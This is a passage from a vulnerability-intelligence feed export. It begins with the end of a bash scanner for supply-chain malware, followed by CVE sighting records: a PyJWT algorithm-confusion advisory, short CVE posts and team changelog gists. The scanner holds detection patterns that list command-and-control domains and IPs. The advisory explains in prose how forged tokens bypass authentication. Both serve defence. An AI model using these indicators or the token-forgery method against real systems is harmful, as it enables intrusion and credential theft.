-n \"$procs\" ]]; then\n    echo \"$procs\" | while IFS= read -r line; do detail \"$line\"; done\n  else\n    detail \"(none)\"\n  fi\n\n  pass \"Review items above for anything unexpected\"\n  record \"Persistence\" \"\ud83d\udc40\"\n}\n\n# \u2500\u2500\u2500 Deep checks (macOS only, slow) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ncheck_dns_c2() {\n  TOTAL_CHECKS=$((TOTAL_CHECKS + 1))\n  header \"DNS queries to C2 domains (last 7 days, macOS only)\"\n  printf \"       ${DIM}This may take 30-60 seconds...${NC}\\n\"\n\n  local hits\n  hits=$(log show --last 7d --predicate 'process == \"mDNSResponder\"' --info 2>/dev/null | \\\n    grep -icE \"$C2_DOMAINS|$C2_IPS\" || echo \"0\")\n\n  if [[ \"$hits\" -gt 0 ]]; then\n    fail \"FOUND $hits DNS queries to C2 domains in the last 7 days\"\n    log show --last 7d --predicate 'process == \"mDNSResponder\"' --info 2>/dev/null | \\\n      grep -iE \"$C2_DOMAINS|$C2_IPS\" | head -10 | while IFS= read -r line; do detail \"$line\"; done\n    record \"DNS to C2\" \"\ud83d\udd34\"\n  else\n    pass \"No DNS queries to known C2 domains\"\n    record \"DNS to C2\" \"\u2705\"\n  fi\n}\n\ncheck_syslog_c2() {\n  TOTAL_CHECKS=$((TOTAL_CHECKS + 1))\n  header \"System log C2 references (last 7 days, macOS only)\"\n  printf \"       ${DIM}This may take 30-60 seconds...${NC}\\n\"\n\n  local hits\n  hits=$(log show --last 7d --predicate \\\n    \"eventMessage CONTAINS \\\"trongrid\\\" OR \\\n     eventMessage CONTAINS \\\"aptoslabs\\\" OR \\\n     eventMessage CONTAINS \\\"166.88.54\\\" OR \\\n     eventMessage CONTAINS \\\"bsc-dataseed\\\" OR \\\n     eventMessage CONTAINS \\\"api.telegram.org\\\" OR \\\n     eventMessage CONTAINS \\\"default-configuration.vercel\\\" OR \\\n     eventMessage CONTAINS \\\"vscode-settings-bootstrap.vercel\\\" OR \\\n     eventMessage CONTAINS \\\"260120.vercel\\\"\" 2>/dev/null | wc -l | tr -d ' ')\n\n  if [[ \"$hits\" -gt 0 ]]; then\n    fail \"FOUND $hits system log entries referencing C2\"\n    record \"Syslog C2\" \"\ud83d\udd34\"\n  else\n    pass \"No C2 references in system logs\"\n    record \"Syslog C2\" \"\u2705\"\n  fi\n}\n\n# \u2500\u2500\u2500 Summary \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nprint_summary() {\n  printf \"\\n\"\n  printf \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n\"\n  printf \" SUMMARY\\n\"\n  printf \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n\\n\"\n\n  printf \" %-4s %-35s %s\\n\" \"#\" \"Check\" \"Result\"\n  printf \" %-4s %-35s %s\\n\" \"---\" \"-----------------------------------\" \"------\"\n  for i in \"${!CHECK_NAMES[@]}\"; do\n    printf \" %-4s %-35s %s\\n\" \"$((i + 1))\" \"${CHECK_NAMES[$i]}\" \"${CHECK_RESULTS[$i]}\"\n  done\n\n  printf \"\\n\"\n\n  if [[ $FINDINGS -gt 0 ]]; then\n    printf \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n\"\n    printf \" ${RED}${BOLD}%d FINDING(S) \u2014 review the details above${NC}\\n\" \"$FINDINGS\"\n    printf \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n\"\n    printf \"\\n\"\n    printf \" \ud83d\udd34 = confirmed compromise indicator. Stop all work, rotate secrets.\\n\"\n    printf \" \u26a0\ufe0f  = suspicious, needs manual verification.\\n\"\n    printf \" \ud83d\udc40 = informational, review for anything unexpected.\\n\"\n    printf \"\\n\"\n    printf \" If you see \ud83d\udd34 findings:\\n\"\n    printf \"   1. DO NOT push to any repository\\n\"\n    printf \"   2. DO NOT delete evidence files\\n\"\n    printf \"   3. Report to your security lead with this output\\n\"\n    printf \"   4. Rotate ALL secrets (npm tokens, SSH keys, API keys, .env values)\\n\"\n  else\n    printf \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n\"\n    printf \" ${GREEN}${BOLD}ALL CLEAR \u2014 no compromise indicators found${NC}\\n\"\n    printf \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n\"\n    printf \"\\n\"\n    printf \" \ud83d\udc40 items above are informational \u2014 review them briefly.\\n\"\n    printf \" This scan covers known IOCs as of %s.\\n\" \"$VERSION\"\n    printf \" A clean scan does not guarantee absence of novel threats.\\n\"\n  fi\n\n  printf \"\\n\"\n}\n\n# \u2500\u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nparse_args() {\n  while [[ $# -gt 0 ]]; do\n    case \"$1\" in\n      --deep) DEEP_SCAN=true; shift ;;\n      --scan-dirs) SCAN_DIRS=\"$2\"; shift 2 ;;\n      -h|--help)\n        printf \"Usage: %s [--deep] [--scan-dirs \\\"/path/a /path/b\\\"]\\n\" \"$0\"\n        printf \"  --deep         Enable slow macOS log checks (DNS, syslog C2 queries)\\n\"\n        printf \"  --scan-dirs    Override source code directories to scan\\n\"\n        exit 0\n        ;;\n      *) printf \"Unknown option: %s\\n\" \"$1\"; exit 1 ;;\n    esac\n  done\n}\n\nmain() {\n  parse_args \"$@\"\n\n  printf \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n\"\n  printf \" Supply Chain Malware Scanner v%s\\n\" \"$VERSION\"\n  printf \" PolinRider / InvisibleFerret / Megalodon\\n\"\n  printf \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n\"\n  printf \"\\n\"\n  printf \" Platform:   %s %s\\n\" \"$(uname -s)\" \"$(uname -m)\"\n  printf \" User:       %s\\n\" \"$(whoami)\"\n  printf \" Date:       %s\\n\" \"$(date -u '+%Y-%m-%d %H:%M:%S UTC')\"\n\n  resolve_dirs\n  if [[ ${#RESOLVED_DIRS[@]} -gt 0 ]]; then\n    printf \" Scan dirs:  %s\\n\" \"${RESOLVED_DIRS[*]}\"\n  else\n    printf \" Scan dirs:  (none found)\\n\"\n  fi\n  printf \" Deep scan:  %s\\n\" \"$DEEP_SCAN\"\n\n  # Core IOCs\n  check_lock_file\n  check_credential_dumps\n  check_network_c2\n  check_invisibleferret\n\n  # Source code infection\n  check_malware_signatures\n  check_long_config_lines\n  check_fake_fonts\n  check_malicious_packages\n  check_vscode_tasks\n  check_solana_c2\n\n  # Supply chain\n  check_axios_compromised\n  check_nx_console\n  check_postinstall_scripts\n\n  # Propagation\n  check_propagation_artifacts\n  check_megalodon_actions\n\n  # Environment integrity\n  check_git_hooks\n  check_npmrc_tokens\n  check_global_packages\n  check_extensions\n  check_persistence\n\n  # Deep checks (macOS only, slow)\n  if $DEEP_SCAN && [[ \"$(uname)\" == \"Darwin\" ]]; then\n    check_dns_c2\n    check_syslog_c2\n  fi\n\n  print_summary\n\n  if [[ $FINDINGS -gt 0 ]]; then\n    exit 1\n  else\n    exit 0\n  fi\n}\n\nmain \"$@\"\n", "creation_timestamp": "2026-06-03T22:47:55.000000Z"}, {"uuid": "4c36d29e-6ac1-4bd6-982b-50bb36abab37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mnglfbhxsc2c", "content": "Top 3 CVE for last 7 days:\nCVE-2025-48595: 134 interactions\nCVE-2026-0257: 42 interactions\nCVE-2026-48778: 23 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2025-48595: 7 interactions\nCVE-2026-42897: 7 interactions\nCVE-2026-42945: 5 interactions\n", "creation_timestamp": "2026-06-04T02:31:13.915984Z"}, {"uuid": "c06dbdf4-00a2-4b12-8978-fc1c5c77e3f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48681", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnh4baodh62p", "content": "CVE-2026-48681 - OpenStack Ironic Directory Traversal File Overwrite\nCVE ID : CVE-2026-48681\n \n Published : June 4, 2026, 4:17 a.m. | 2\u00a0hours, 15\u00a0minutes ago\n \n Description : OpenStack Ironic through before 35.0.2 allows file overwrite via directory traversal during deployment...", "creation_timestamp": "2026-06-04T07:33:12.067568Z"}, {"uuid": "f37007a3-5fbd-471b-9966-f4bba1f6fcf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48526", "type": "seen", "source": "https://gist.github.com/alon710/93387c2165378ba3df7fa81047a5bf97", "content": "# CVE-2026-48526: CVE-2026-48526: Algorithm Confusion Vulnerability in PyJWT\n\n> **CVSS Score:** 7.4\n> **Published:** 2026-05-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48526\n\n## Summary\nCVE-2026-48526 is an algorithm-confusion vulnerability in PyJWT prior to version 2.13.0. When an application decodes tokens using a raw JSON Web Key (JWK) string while simultaneously supporting mixed algorithm families (symmetric and asymmetric), PyJWT does not validate that the key matches its intended algorithm context. This allows an attacker to sign a forged token using the public JWK string as an HMAC symmetric secret, bypassing authentication controls.\n\n## TL;DR\nAn algorithm-confusion vulnerability in PyJWT allows remote attackers to bypass authentication by signing forged tokens with a public JWK string treated as a symmetric HMAC secret.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-287\n- **Attack Vector**: Network\n- **CVSS**: 7.4\n- **EPSS Score**: 0.00017\n- **Impact**: High\n- **Exploit Status**: Proof-of-Concept\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- pyjwt (Python JSON Web Token Library)\n- **pyjwt**: < 2.13.0 (Fixed in: `2.13.0`)\n\n## Mitigation\n\n- Upgrade pyjwt to version 2.13.0 or later.\n- Do not allow mixed algorithm families in jwt.decode calls.\n- Parse public keys explicitly using PyJWK rather than passing raw JSON strings.\n\n**Remediation Steps:**\n1. Run `pip install --upgrade pyjwt` to update to 2.13.0+.\n2. Review jwt.decode usage to ensure the algorithms list is restricted strictly to either symmetric (e.g. HS256) or asymmetric (e.g. RS256) families.\n3. Modify raw key-loading paths to parse JWK dictionaries using `jwt.PyJWK` before verification.\n\n## References\n\n- [NVD - CVE-2026-48526](https://nvd.nist.gov/vuln/detail/CVE-2026-48526)\n- [CVE-2026-48526 Record](https://www.cve.org/CVERecord?id=CVE-2026-48526)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48526) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-04T08:21:13.000000Z"}, {"uuid": "7377c63b-580b-48bb-864b-f656b3d48569", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/bcce4038de09734a3616fed1e86b42d1", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd75 Retour de test**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n    - [FEAT-0010 \u2014 Num\u00e9ro de ticket de caisse pour boutiques (TVO)](https://trello.com/c/VJAm3Q9E/2343-feat-0010-num%C3%A9ro-de-ticket-de-caisse-pour-boutiques-tvo) **\u2600\ufe0fIn review**\n        - *Add retailer receipt on order, and add it to search* [\\#7505](https://github.com/Wishibam/Marketplace-api/pull/7505)\n    - [FEAT-0007-02 \u2014 Nouveau template de facture PDF](https://trello.com/c/n8qXmV8Y/2339-feat-0007-02-nouveau-template-de-facture-pdf) **\ud83e\udd75 Retour de test**\n        - *Fix recette for invoice rework* [\\#7524](https://github.com/Wishibam/Marketplace-api/pull/7524)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n    - *Fix issue with shipment invoice documents* [\\#7522](https://github.com/Wishibam/Marketplace-api/pull/7522)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *:sparkles: feat: store all media objects on Scaleway* [\\#7511](https://github.com/Wishibam/Marketplace-api/pull/7511)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)\n    - *:bug: fix: call ImageKit only once when resizing images* [\\#7525](https://github.com/Wishibam/Marketplace-api/pull/7525)\n    - *fix(validator): increase max variation constraint limit* [\\#7526](https://github.com/Wishibam/Marketplace-api/pull/7526)\n    - *:bug: Fix DomainEventDispatcherInterface missing on DomainModel entities* [\\#7527](https://github.com/Wishibam/Marketplace-api/pull/7527)\n    - *:recycle: refactor: store imported images under medias/<org>/<type>/* [\\#7530](https://github.com/Wishibam/Marketplace-api/pull/7530)", "creation_timestamp": "2026-06-04T10:03:29.000000Z"}, {"uuid": "199c2c60-44b2-4277-a129-731e022f1fd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4881", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnhhnymzsy2x", "content": "CVE-2026-4881 - Octopus Server API Unauthorized Server Level Changes\nCVE ID : CVE-2026-4881\n \n Published : June 4, 2026, 10:16 a.m. | 16\u00a0minutes ago\n \n Description : In affected versions of Octopus Server, permissions were not checked correctly resulting in any authenticated u...", "creation_timestamp": "2026-06-04T10:57:10.997968Z"}, {"uuid": "68146c62-15d2-43b0-aaab-d9d770e0d3dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mnhhvfyvyj2d", "content": "\u3010\u7dca\u6025\u3011CVE-2026-48172 LiteSpeed User-End cPanel Plugin\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\uff5c\u5373\u6642\u5bfe\u5fdc\u304c\u5fc5\u8981\n\nCVE-2026-48172 \u3053\u306e\u8106\u5f31\u6027\u306f\u3001LiteSpeed User-End cPanel Plugin\u306e\u30d0\u30fc\u30b8\u30e7\u30f32.4.5\u4ee5\u524d\u306b\u5b58\u5728\u3057\u3001\u7279\u6a29\u6607\u683c\uff08\u304a\u305d\u3089\u304froot\u6a29\u9650\u3078\u306e\u6607\u683c\uff09\u304c\u53ef\u80fd\u3067\u3059\u3002", "creation_timestamp": "2026-06-04T11:01:20.222844Z"}, {"uuid": "0242094a-dcfb-43ea-925f-e472b339f7d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-48710.yaml", "content": "", "creation_timestamp": "2026-06-02T16:25:22.000000Z"}, {"uuid": "2ad69334-63c9-42ff-95a1-023d35e87078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/reallynotbob.bsky.social/post/3mnhotjkghp2v", "content": "MCP CVEs keep surfacing because stdio design merges config and command. Same flaw BadHost CVE-2026-48710 exploited. Each CVE patched individually. The systemic fix: a boundary layer treating every MCP call as potential command, not just context update.", "creation_timestamp": "2026-06-04T13:05:32.898971Z"}, {"uuid": "a1f1f93b-ba17-44c4-986d-501cd075005e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/442ea2e47140854a8ee79217b8272fe6", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd75 Retour de test**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n    - [FEAT-0010 \u2014 Num\u00e9ro de ticket de caisse pour boutiques (TVO)](https://trello.com/c/VJAm3Q9E/2343-feat-0010-num%C3%A9ro-de-ticket-de-caisse-pour-boutiques-tvo) **\u2600\ufe0fIn review**\n        - *Add retailer receipt on order, and add it to search* [\\#7505](https://github.com/Wishibam/Marketplace-api/pull/7505)\n    - [FEAT-0007-02 \u2014 Nouveau template de facture PDF](https://trello.com/c/n8qXmV8Y/2339-feat-0007-02-nouveau-template-de-facture-pdf) **\ud83e\udd75 Retour de test**\n        - *Fix recette for invoice rework* [\\#7524](https://github.com/Wishibam/Marketplace-api/pull/7524)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n    - *Fix issue with shipment invoice documents* [\\#7522](https://github.com/Wishibam/Marketplace-api/pull/7522)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet 